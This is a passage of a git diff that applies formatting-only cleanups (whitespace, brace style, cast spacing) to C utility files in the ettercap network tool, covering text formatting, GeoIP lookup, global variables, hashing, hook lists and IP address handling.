u_char *buf, size_t len, u_char *dst) int ascii_format(const u_char *buf, size_t len, u_char *dst) { u_int i = 0; - + /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } /* make the substitions */ for (i = 0; i < len; i++) { - if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) + if (isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t') dst[i] = buf[i]; else dst[i] = '.'; } - + return len; } @@ -234,31 +231,31 @@ int ascii_format(const u_char *buf, size_t len, u_char *dst) int text_format(const u_char *buf, size_t len, u_char *dst) { u_int i, j = 0; - + /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } for (i = 0; i < len; i++) { - /* + /* * check for escape chars for ansi color. * \033[ is the escape char. */ - if (buf[i] == 0x1b && buf[i+1] == 0x5b) { - /* - * find the first alpha char, + if (buf[i] == 0x1b && buf[i + 1] == 0x5b) { + /* + * find the first alpha char, * this is the end of the ansi sequence */ - while( !isalpha((int)buf[i++]) && i < len ); + while (!isalpha((int)buf[i++]) && i < len) ; } - - if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) + + if (isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t') dst[j++] = buf[i]; } - + return j; } @@ -269,17 +266,17 @@ int text_format(const u_char *buf, size_t len, u_char *dst) int ebcdic_format(const u_char *buf, size_t len, u_char *dst) { u_int i = 0; - + /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } - + /* convert from ebcdic to ascii */ - for(i = 0; i < len; i++) - dst[i] = (char) EBCDIC_to_ASCII[(u_int8)buf[i]]; - + for (i = 0; i < len; i++) + dst[i] = (char)EBCDIC_to_ASCII[(u_int8)buf[i]]; + return ascii_format(dst, len, dst); } @@ -290,24 +287,24 @@ int ebcdic_format(const u_char *buf, size_t len, u_char *dst) int html_format(const u_char *buf, size_t len, u_char *dst) { u_int i, j = 0; - + /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } for (i = 0; i < len; i++) { - /* if a tag is opened, skip till the end */ + /* if a tag is opened, skip till the end */ if (buf[i] == '<') { - while( buf[i++] != '>' && i < len ); + while (buf[i++] != '>' && i < len) ; } - - if ( isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t' ) + + if (isprint((int)buf[i]) || buf[i] == '\n' || buf[i] == '\t') dst[j++] = buf[i]; } - + return j; } @@ -319,27 +316,27 @@ int bin_format(const u_char *buf, size_t len, u_char *dst) { /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } - + /* copy the buffer */ memcpy(dst, buf, len); - + return len; } /* - * return the void string + * return the void string */ int zero_format(const u_char *buf, size_t len, u_char *dst) { /* variable not used */ - (void) buf; - (void) len; + (void)buf; + (void)len; - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } @@ -355,15 +352,15 @@ int utf8_format(const u_char *buf, size_t len, u_char *dst) strncpy(dst, "", 1); return 0; } - + /* copy the buffer */ memcpy(dst, buf, len); return len; #else - + iconv_t cd; -#if defined (OS_BSD) || defined (OS_LINUX) || defined (OS_GNU) || defined (OS_DARWIN) +#if defined(OS_BSD) || defined(OS_LINUX) || defined(OS_GNU) || defined(OS_DARWIN) char *inbuf; #else const char *inbuf; @@ -373,7 +370,7 @@ int utf8_format(const u_char *buf, size_t len, u_char *dst) /* some sanity checks */ if (len == 0 || buf == NULL) { - strncpy((char*)dst, "", 1); + strncpy((char *)dst, "", 1); return 0; } @@ -402,28 +399,28 @@ int utf8_format(const u_char *buf, size_t len, u_char *dst) int set_utf8_encoding(u_char *fromcode) { #ifndef HAVE_UTF8 - (void) fromcode; + (void)fromcode; USER_MSG("UTF-8 support not compiled in.\n"); return E_SUCCESS; #else iconv_t cd; DEBUG_MSG("set_utf8_encoding: %s", fromcode); - - if (fromcode == NULL || strlen((const char*)fromcode) < 1) + + if (fromcode == NULL || strlen((const char *)fromcode) < 1) return -E_INVALID; SAFE_FREE(utf8_encoding); /* make sure encoding type is supported */ - cd = iconv_open("UTF-8", (const char*)fromcode); - + cd = iconv_open("UTF-8", (const char *)fromcode); + if (cd == (iconv_t)(-1)) SEMIFATAL_ERROR("The conversion from %s to UTF-8 is not supported.", fromcode); - + iconv_close(cd); - utf8_encoding = strdup((const char*)fromcode); + utf8_encoding = strdup((const char *)fromcode); return E_SUCCESS; #endif @@ -432,4 +429,3 @@ int set_utf8_encoding(u_char *fromcode) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_geoip.c b/src/ec_geoip.c index 74850bddd..e2ec07d45 100644 --- a/src/ec_geoip.c +++ b/src/ec_geoip.c @@ -1,23 +1,23 @@ /* - ettercap -- GeoIP interface; IPv4/6 address to geolocation lookup. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- GeoIP interface; IPv4/6 address to geolocation lookup. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,14 +26,14 @@ #include -static GeoIP *gi = NULL; +static GeoIP *gi = NULL; #ifdef WITH_IPV6 static GeoIP *gi6 = NULL; #endif -static void geoip_exit (void) +static void geoip_exit(void) { - GeoIP_delete (gi); + GeoIP_delete(gi); gi = NULL; #ifdef WITH_IPV6 GeoIP_delete(gi6); @@ -42,7 +42,7 @@ static void geoip_exit (void) GeoIP_cleanup(); } -void geoip_init (void) +void geoip_init(void) { char *gi_info; @@ -50,27 +50,26 @@ void geoip_init (void) gi = GeoIP_open_type(GEOIP_COUNTRY_EDITION, GEOIP_MEMORY_CACHE); /* not found, fallback in the configuration file value */ - if(!gi) { + if (!gi) { if (!GBL_CONF->geoip_data_file) return; - gi = GeoIP_open (GBL_CONF->geoip_data_file, GEOIP_MEMORY_CACHE); - if (!gi) - { - DEBUG_MSG ("geoip_init: %s not found.", GBL_CONF->geoip_data_file); + gi = GeoIP_open(GBL_CONF->geoip_data_file, GEOIP_MEMORY_CACHE); + if (!gi) { + DEBUG_MSG("geoip_init: %s not found.", GBL_CONF->geoip_data_file); GeoIP_cleanup(); return; } } - gi_info = GeoIP_database_info (gi); + gi_info = GeoIP_database_info(gi); - DEBUG_MSG ("geoip_init: Description: %s.", - GeoIPDBDescription[GEOIP_COUNTRY_EDITION]); - DEBUG_MSG ("geoip_init: Info: %s. Countries: %u", - gi_info ? gi_info : "", GeoIP_num_countries()); + DEBUG_MSG("geoip_init: Description: %s.", + GeoIPDBDescription[GEOIP_COUNTRY_EDITION]); + DEBUG_MSG("geoip_init: Info: %s. Countries: %u", + gi_info ? gi_info : "", GeoIP_num_countries()); - atexit (geoip_exit); + atexit(geoip_exit); SAFE_FREE(gi_info); gi_info = NULL; @@ -87,18 +86,18 @@ void geoip_init (void) gi6 = GeoIP_open(GBL_CONF->geoip_data_file_v6, GEOIP_MEMORY_CACHE); if (!gi6) { - DEBUG_MSG("geoip_init: %s not found.\n", - GBL_CONF->geoip_data_file_v6); + DEBUG_MSG("geoip_init: %s not found.\n", + GBL_CONF->geoip_data_file_v6); return; } } gi_info = GeoIP_database_info(gi6); - DEBUG_MSG("geoip_init: Description: %s.", - GeoIPDBDescription[GEOIP_COUNTRY_EDITION_V6]); + DEBUG_MSG("geoip_init: Description: %s.", + GeoIPDBDescription[GEOIP_COUNTRY_EDITION_V6]); DEBUG_MSG("geoip_init: Info: %s. Countries: %u", - gi_info ? gi_info : "", GeoIP_num_countries()); + gi_info ? gi_info : "", GeoIP_num_countries()); SAFE_FREE(gi_info); gi_info = NULL; @@ -113,7 +112,7 @@ void geoip_init (void) * - "--" if ip address is not global * return NULL if GeoIP API isn't initialized properly */ -const char* geoip_ccode_by_ip (struct ip_addr *ip) +const char *geoip_ccode_by_ip(struct ip_addr *ip) { int id; #ifdef WITH_IPV6 @@ -133,25 +132,25 @@ const char* geoip_ccode_by_ip (struct ip_addr *ip) /* Determine country id by IP address */ switch (ntohs(ip->addr_type)) { - case AF_INET: - if (!gi) - return NULL; - id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); - break; + case AF_INET: + if (!gi) + return NULL; + id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); + break; #ifdef WITH_IPV6 - case AF_INET6: - if (!gi6) - return NULL; - ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); - id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); - break; -#endif - default: + case AF_INET6: + if (!gi6) return NULL; + ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); + id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); + break; +#endif + default: + return NULL; } DEBUG_MSG("geoip_ccode_by_ip: GeoIP country code for ip %s: %s", - ip_addr_ntoa(ip, tmp), GeoIP_code_by_id(id)); + ip_addr_ntoa(ip, tmp), GeoIP_code_by_id(id)); return GeoIP_code_by_id(id); } @@ -160,7 +159,7 @@ const char* geoip_ccode_by_ip (struct ip_addr *ip) * returns the country name string for a given IP address * return NULL if GeoIP API isn't initialized properly */ -const char* geoip_country_by_ip (struct ip_addr *ip) +const char *geoip_country_by_ip(struct ip_addr *ip) { int id; #ifdef WITH_IPV6 @@ -180,27 +179,27 @@ const char* geoip_country_by_ip (struct ip_addr *ip) /* Determine country id by IP address */ switch (ntohs(ip->addr_type)) { - case AF_INET: - if (!gi) - return NULL; - id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); - break; + case AF_INET: + if (!gi) + return NULL; + id = GeoIP_id_by_ipnum(gi, ntohl(*ip->addr32)); + break; #ifdef WITH_IPV6 - case AF_INET6: - if (!gi6) - return NULL; - ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); - id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); - break; -#endif - default: + case AF_INET6: + if (!gi6) return NULL; + ip_addr_cpy((u_char *)geo_ip6.s6_addr, ip); + id = GeoIP_id_by_ipnum_v6(gi6, geo_ip6); + break; +#endif + default: + return NULL; } DEBUG_MSG("geoip_country_by_ip: GeoIP country name for ip %s: %s", - ip_addr_ntoa(ip, tmp), GeoIP_name_by_id(id)); + ip_addr_ntoa(ip, tmp), GeoIP_name_by_id(id)); return GeoIP_name_by_id(id); } -#endif /* WITH_GEOIP */ +#endif /* WITH_GEOIP */ diff --git a/src/ec_globals.c b/src/ec_globals.c index cdff18845..f9e4b011c 100644 --- a/src/ec_globals.c +++ b/src/ec_globals.c @@ -1,31 +1,30 @@ /* - ettercap -- global variables handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- global variables handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #include -#define GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) - +#define GBL_FREE(x) do { if (x != NULL) { free(x); x = NULL; } } while (0) /* global vars */ @@ -37,15 +36,15 @@ struct globals *gbls; void globals_alloc(void) { - + SAFE_CALLOC(gbls, 1, sizeof(struct globals)); - SAFE_CALLOC(gbls->conf, 1, sizeof(struct ec_conf)); - SAFE_CALLOC(gbls->options, 1, sizeof(struct ec_options)); + SAFE_CALLOC(gbls->conf, 1, sizeof(struct ec_conf)); + SAFE_CALLOC(gbls->options, 1, sizeof(struct ec_options)); SAFE_CALLOC(gbls->stats, 1, sizeof(struct gbl_stats)); SAFE_CALLOC(gbls->ui, 1, sizeof(struct ui_ops)); - SAFE_CALLOC(gbls->env, 1, sizeof(struct program_env)); + SAFE_CALLOC(gbls->env, 1, sizeof(struct program_env)); SAFE_CALLOC(gbls->pcap, 1, sizeof(struct pcap_env)); - SAFE_CALLOC(gbls->lnet, 1, sizeof(struct lnet_env)); + SAFE_CALLOC(gbls->lnet, 1, sizeof(struct lnet_env)); SAFE_CALLOC(gbls->iface, 1, sizeof(struct iface_env)); SAFE_CALLOC(gbls->bridge, 1, sizeof(struct iface_env)); SAFE_CALLOC(gbls->sm, 1, sizeof(struct sniffing_method)); @@ -58,14 +57,13 @@ void globals_alloc(void) /* init the structures */ TAILQ_INIT(&GBL_PROFILES); LIST_INIT(&GBL_HOSTLIST); - + return; } - void globals_free(void) { - + GBL_FREE(gbls->pcap); GBL_FREE(gbls->lnet); GBL_FREE(gbls->iface); @@ -77,12 +75,12 @@ void globals_free(void) GBL_FREE(gbls->t1); free_ip_list(gbls->t2); GBL_FREE(gbls->t2); - + GBL_FREE(gbls->env->name); GBL_FREE(gbls->env->version); GBL_FREE(gbls->env->debug_file); GBL_FREE(gbls->env); - + free_plugin_list(gbls->options->plugins); GBL_FREE(gbls->options->proto); GBL_FREE(gbls->options->pcapfile_in); @@ -96,14 +94,12 @@ void globals_free(void) GBL_FREE(gbls->conf); /* destroy the list structure */ filter_clear(); - + GBL_FREE(gbls); - + return; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_hash.c b/src/ec_hash.c index 186494a1a..337ab4062 100644 --- a/src/ec_hash.c +++ b/src/ec_hash.c @@ -59,47 +59,45 @@ #define FNV_32_PRIME ((Fnv32_t)0x01000193) #define FNV_64_PRIME ((Fnv64_t)0x100000001b3ULL) -Fnv32_t -fnv_32(void *buf, size_t len) +Fnv32_t fnv_32(void *buf, size_t len) { - unsigned char *bp = (unsigned char *)buf; /* start of buffer */ - unsigned char *be = bp + len; /* beyond end of buffer */ - Fnv32_t hval = FNV1_32_INIT; + unsigned char *bp = (unsigned char *)buf; /* start of buffer */ + unsigned char *be = bp + len; /* beyond end of buffer */ + Fnv32_t hval = FNV1_32_INIT; /* * FNV-1 hash each octet in the buffer */ while (bp < be) { - /* multiply by the 32 bit FNV magic prime mod 2^64 */ - hval *= FNV_32_PRIME; + /* multiply by the 32 bit FNV magic prime mod 2^64 */ + hval *= FNV_32_PRIME; - /* xor the bottom with the current octet */ - hval ^= (Fnv32_t)*bp++; + /* xor the bottom with the current octet */ + hval ^= (Fnv32_t)*bp++; } /* return our new hash value */ return hval; } -Fnv64_t -fnv_64(void *buf, size_t len) +Fnv64_t fnv_64(void *buf, size_t len) { - unsigned char *bp = (unsigned char *)buf; /* start of buffer */ - unsigned char *be = bp + len; /* beyond end of buffer */ - Fnv64_t hval = FNV1_64_INIT; + unsigned char *bp = (unsigned char *)buf; /* start of buffer */ + unsigned char *be = bp + len; /* beyond end of buffer */ + Fnv64_t hval = FNV1_64_INIT; /* * FNV-1 hash each octet of the buffer */ while (bp < be) { - /* multiply by the 64 bit FNV magic prime mod 2^64 */ - hval *= FNV_64_PRIME; + /* multiply by the 64 bit FNV magic prime mod 2^64 */ + hval *= FNV_64_PRIME; - /* xor the bottom with the current octet */ - hval ^= (Fnv64_t)*bp++; + /* xor the bottom with the current octet */ + hval ^= (Fnv64_t)*bp++; } - + /* return our new hash value */ return hval; } @@ -107,4 +105,3 @@ fnv_64(void *buf, size_t len) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_hook.c b/src/ec_hook.c index 74d73c0b6..539696f68 100644 --- a/src/ec_hook.c +++ b/src/ec_hook.c @@ -1,29 +1,29 @@ /* - ettercap -- hook points handling - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- hook points handling + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #ifdef HAVE_EC_LUA - #include +#include #endif #include @@ -31,7 +31,7 @@ struct hook_list { int point; void (*func)(struct packet_object *po); - LIST_ENTRY (hook_list) next; + LIST_ENTRY(hook_list) next; }; /* global data */ @@ -42,12 +42,12 @@ static LIST_HEAD(, hook_list) hook_list_head; static LIST_HEAD(, hook_list) hook_pck_list_head; pthread_mutex_t hook_mutex = PTHREAD_MUTEX_INITIALIZER; -#define HOOK_LOCK do{ pthread_mutex_lock(&hook_mutex); } while(0) -#define HOOK_UNLOCK do{ pthread_mutex_unlock(&hook_mutex); } while(0) - +#define HOOK_LOCK do { pthread_mutex_lock(&hook_mutex); } while (0) +#define HOOK_UNLOCK do { pthread_mutex_unlock(&hook_mutex); } while (0) + pthread_mutex_t hook_pck_mutex = PTHREAD_MUTEX_INITIALIZER; -#define HOOK_PCK_LOCK do{ pthread_mutex_lock(&hook_pck_mutex); } while(0) -#define HOOK_PCK_UNLOCK do{ pthread_mutex_unlock(&hook_pck_mutex); } while(0) +#define HOOK_PCK_LOCK do { pthread_mutex_lock(&hook_pck_mutex); } while (0) +#define HOOK_PCK_UNLOCK do { pthread_mutex_unlock(&hook_pck_mutex); } while (0) /*******************************************/ @@ -59,41 +59,39 @@ void hook_point(int point, struct packet_object *po) /* the hook is for a HOOK_PACKET_* type */ if (point > HOOK_PACKET_BASE) { - + HOOK_PCK_LOCK; - - LIST_FOREACH(current, &hook_pck_list_head, next) - if (current->point == point) - current->func(po); - + + LIST_FOREACH(current, &hook_pck_list_head, next) + if (current->point == point) + current->func(po); + HOOK_PCK_UNLOCK; - } else { - + HOOK_LOCK; - - LIST_FOREACH(current, &hook_list_head, next) - if (current->point == point) - current->func(po); - + + LIST_FOREACH(current, &hook_list_head, next) + if (current->point == point) + current->func(po); + HOOK_UNLOCK; } #ifdef HAVE_EC_LUA ec_lua_dispatch_hooked_packet(point, po); #endif - + return; } - /* add a function to an hook point */ -void hook_add(int point, void (*func)(struct packet_object *po) ) +void hook_add(int point, void (*func)(struct packet_object *po)) { struct hook_list *newelem; SAFE_CALLOC(newelem, 1, sizeof(struct hook_list)); - + newelem->point = point; newelem->func = func; @@ -107,20 +105,18 @@ void hook_add(int point, void (*func)(struct packet_object *po) ) LIST_INSERT_HEAD(&hook_list_head, newelem, next); HOOK_UNLOCK; } - } /* remove a function from an hook point */ -int hook_del(int point, void (*func)(struct packet_object *po) ) +int hook_del(int point, void (*func)(struct packet_object *po)) { struct hook_list *current; - /* the hook is for a HOOK_PACKET_* type */ if (point > HOOK_PACKET_BASE) { HOOK_PCK_LOCK; - + LIST_FOREACH(current, &hook_pck_list_head, next) { if (current->point == point && current->func == func) { LIST_REMOVE(current, next); @@ -130,11 +126,11 @@ int hook_del(int point, void (*func)(struct packet_object *po) ) return E_SUCCESS; } } - + HOOK_PCK_UNLOCK; } else { HOOK_LOCK; - + LIST_FOREACH(current, &hook_list_head, next) { if (current->point == point && current->func == func) { LIST_REMOVE(current, next); @@ -144,15 +140,13 @@ int hook_del(int point, void (*func)(struct packet_object *po) ) return E_SUCCESS; } } - + HOOK_UNLOCK; } - + return -E_NOTFOUND; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_inet.c b/src/ec_inet.c index a00499257..3a5f28e4f 100644 --- a/src/ec_inet.c +++ b/src/ec_inet.c @@ -1,23 +1,23 @@ /* - ettercap -- IP address management - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- IP address management + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -39,25 +39,25 @@ int ip_addr_init(struct ip_addr *sa, u_int16 type, u_char *addr) sa->addr_type = htons(type); /* wipe the buffer */ memset(sa->addr, 0, MAX_IP_ADDR_LEN); - + switch (type) { - case AF_INET: - sa->addr_len = htons(IP_ADDR_LEN); - break; - case AF_INET6: - sa->addr_len = htons(IP6_ADDR_LEN); - break; - default: - /* wipe the struct */ - memset(sa, 0, sizeof(struct ip_addr)); - BUG("Invalid ip_addr type"); - return -E_INVALID; + case AF_INET: + sa->addr_len = htons(IP_ADDR_LEN); + break; + case AF_INET6: + sa->addr_len = htons(IP6_ADDR_LEN); + break; + default: + /* wipe the struct */ + memset(sa, 0, sizeof(struct ip_addr)); + BUG("Invalid ip_addr type"); + return -E_INVALID; } - + memcpy(&sa->addr, addr, ntohs(sa->addr_len)); - + return E_SUCCESS; -}; +} /* * copy the address in a buffer @@ -69,7 +69,7 @@ int ip_addr_cpy(u_char *addr, struct ip_addr *sa) return E_SUCCESS; } -/* +/* * compare two ip_addr structure. */ int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb) @@ -82,7 +82,6 @@ int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb) return -E_INVALID; return memcmp(sa->addr, sb->addr, ntohs(sa->addr_len)); - } /* @@ -90,9 +89,9 @@ int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb) */ int ip_addr_null(struct ip_addr *sa) { - if (ntohs(sa->addr_type) == AF_INET || ntohs(sa->addr_type) == AF_INET6) + if (ntohs(sa->addr_type) == AF_INET || ntohs(sa->addr_type) == AF_INET6) return 0; - + return 1; } @@ -102,17 +101,17 @@ int ip_addr_null(struct ip_addr *sa) int ip_addr_is_zero(struct ip_addr *sa) { switch (ntohs(sa->addr_type)) { - case AF_INET: - if (memcmp(sa->addr, "\x00\x00\x00\x00", IP_ADDR_LEN)) - return 0; - break; - case AF_INET6: - if (memcmp(sa->addr, "\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00", IP6_ADDR_LEN)) - return 0; - break; - }; - + case AF_INET: + if (memcmp(sa->addr, "\x00\x00\x00\x00", IP_ADDR_LEN)) + return 0; + break; + case AF_INET6: + if (memcmp(sa->addr, "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00", IP6_ADDR_LEN)) + return 0; + break; + } + return 1; } @@ -120,7 +119,7 @@ int ip_addr_is_zero(struct ip_addr *sa) * generates a random link-local ip address * returns E_SUCCESS or -E_INVALID if address family is unkown */ -int ip_addr_random(struct ip_addr* ip, u_int16 type) +int ip_addr_random(struct ip_addr *ip, u_int16 type) { /* generate a random 32-bit number */ srand(time(NULL)); @@ -129,28 +128,27 @@ int ip_addr_random(struct ip_addr* ip, u_int16 type) u_int32 h2 = ~r; switch (type) { - case AF_INET: - ip->addr_type = htons(type); - ip->addr_len = IP_ADDR_LEN; - memset(ip->addr, 0, IP_ADDR_LEN); - memcpy(ip->addr, "\xa9\xfe", 2); /* 169.254/16 */ - memcpy(ip->addr + 2, (u_char*)&r, 2); + case AF_INET: + ip->addr_type = htons(type); + ip->addr_len = IP_ADDR_LEN; + memset(ip->addr, 0, IP_ADDR_LEN); + memcpy(ip->addr, "\xa9\xfe", 2); /* 169.254/16 */ + memcpy(ip->addr + 2, (u_char *)&r, 2); break; - case AF_INET6: - ip->addr_type = htons(type); - ip->addr_len = IP6_ADDR_LEN; - memset(ip->addr, 0, IP6_ADDR_LEN); - memcpy(ip->addr, "\xfe\x80\x00\x00", 4); - memcpy(ip->addr + 4, "\x00\x00\x00\x00", 4); - memcpy(ip->addr + 8, (u_char*)&h1, 4); - memcpy(ip->addr + 12, (u_char*)&h2, 4); - memcpy(ip->addr + 11, "\xff\xfe", 2); + case AF_INET6: + ip->addr_type = htons(type); + ip->addr_len = IP6_ADDR_LEN; + memset(ip->addr, 0, IP6_ADDR_LEN); + memcpy(ip->addr, "\xfe\x80\x00\x00", 4); + memcpy(ip->addr + 4, "\x00\x00\x00\x00", 4); + memcpy(ip->addr + 8, (u_char *)&h1, 4); + memcpy(ip->addr + 12, (u_char *)&h2, 4); + memcpy(ip->addr + 11, "\xff\xfe", 2); break; - default: - return -E_INVALID; - + default: + return -E_INVALID; } return E_SUCCESS; } @@ -162,34 +160,33 @@ int ip_addr_random(struct ip_addr* ip, u_int16 type) * returns E_SUCCESS on success or -E_INVALID in case of a unsupported * address familily (actually only IPv6 is supported) */ -int ip_addr_init_sol(struct ip_addr* sn, struct ip_addr* ip, u_int8 *tmac) +int ip_addr_init_sol(struct ip_addr *sn, struct ip_addr *ip, u_int8 *tmac) { switch (ntohs(ip->addr_type)) { - case AF_INET: - (void) sn; - (void) tmac; - /* not applicable for IPv4 */ + case AF_INET: + (void)sn; + (void)tmac; + /* not applicable for IPv4 */ break; #ifdef WITH_IPV6 - case AF_INET6: - /* - * initialize the ip_addr struct with the solicited-node - * multicast prefix and copy the tailing 24-bit into the - * address to form the complete solicited-node address - */ - ip_addr_init(sn, AF_INET6, (u_char*)IP6_SOL_NODE); - memcpy((sn->addr + 13), (ip->addr + 13), 3); + case AF_INET6: + /* + * initialize the ip_addr struct with the solicited-node + * multicast prefix and copy the tailing 24-bit into the + * address to form the complete solicited-node address + */ + ip_addr_init(sn, AF_INET6, (u_char *)IP6_SOL_NODE); + memcpy((sn->addr + 13), (ip->addr + 13), 3); + + /* + * initialize the MAC address derived from the solicited + * node multicast IPv6 address by overwriting the tailing + * 32-bit of the all-nodes link-layer multicast address for IPv6 + */ + memcpy(tmac, LLA_IP6_ALLNODES_MULTICAST, MEDIA_ADDR_LEN); + memcpy((tmac + 2), (sn->addr + 12), 4); - /* - * initialize the MAC address derived from the solicited - * node multicast IPv6 address by overwriting the tailing - * 32-bit of the all-nodes link-layer multicast address for IPv6 - */ - memcpy(tmac, LLA_IP6_ALLNODES_MULTICAST, MEDIA_ADDR_LEN); - memcpy((tmac + 2), (sn->addr + 12), 4); - - - return E_SUCCESS; + return E_SUCCESS; break; #endif } @@ -197,132 +194,132 @@ int ip_addr_init_sol(struct ip_addr* sn, struct ip_addr* ip, u_int8 *tmac) return -E_INVALID; } - /* * convert to ascii an ip address */ -char * ip_addr_ntoa(struct ip_addr *sa, char *dst) +char *ip_addr_ntoa(struct ip_addr *sa, char *dst) { switch (ntohs(sa->addr_type)) { - case AF_INET: - inet_ntop4(sa->addr, dst, IP_ASCII_ADDR_LEN); - return dst; - break; - case AF_INET6: - inet_ntop6(sa->addr, dst, IP6_ASCII_ADDR_LEN); - return dst; - break; - }; - + case AF_INET: + inet_ntop4(sa->addr, dst, IP_ASCII_ADDR_LEN); + return dst; + break; + case AF_INET6: + inet_ntop6(sa->addr, dst, IP6_ASCII_ADDR_LEN); + return dst; + break; + } + return "invalid"; } -const char * -inet_ntop4(const u_char *src, char *dst, size_t size) +const char *inet_ntop4(const u_char *src, char *dst, size_t size) { char 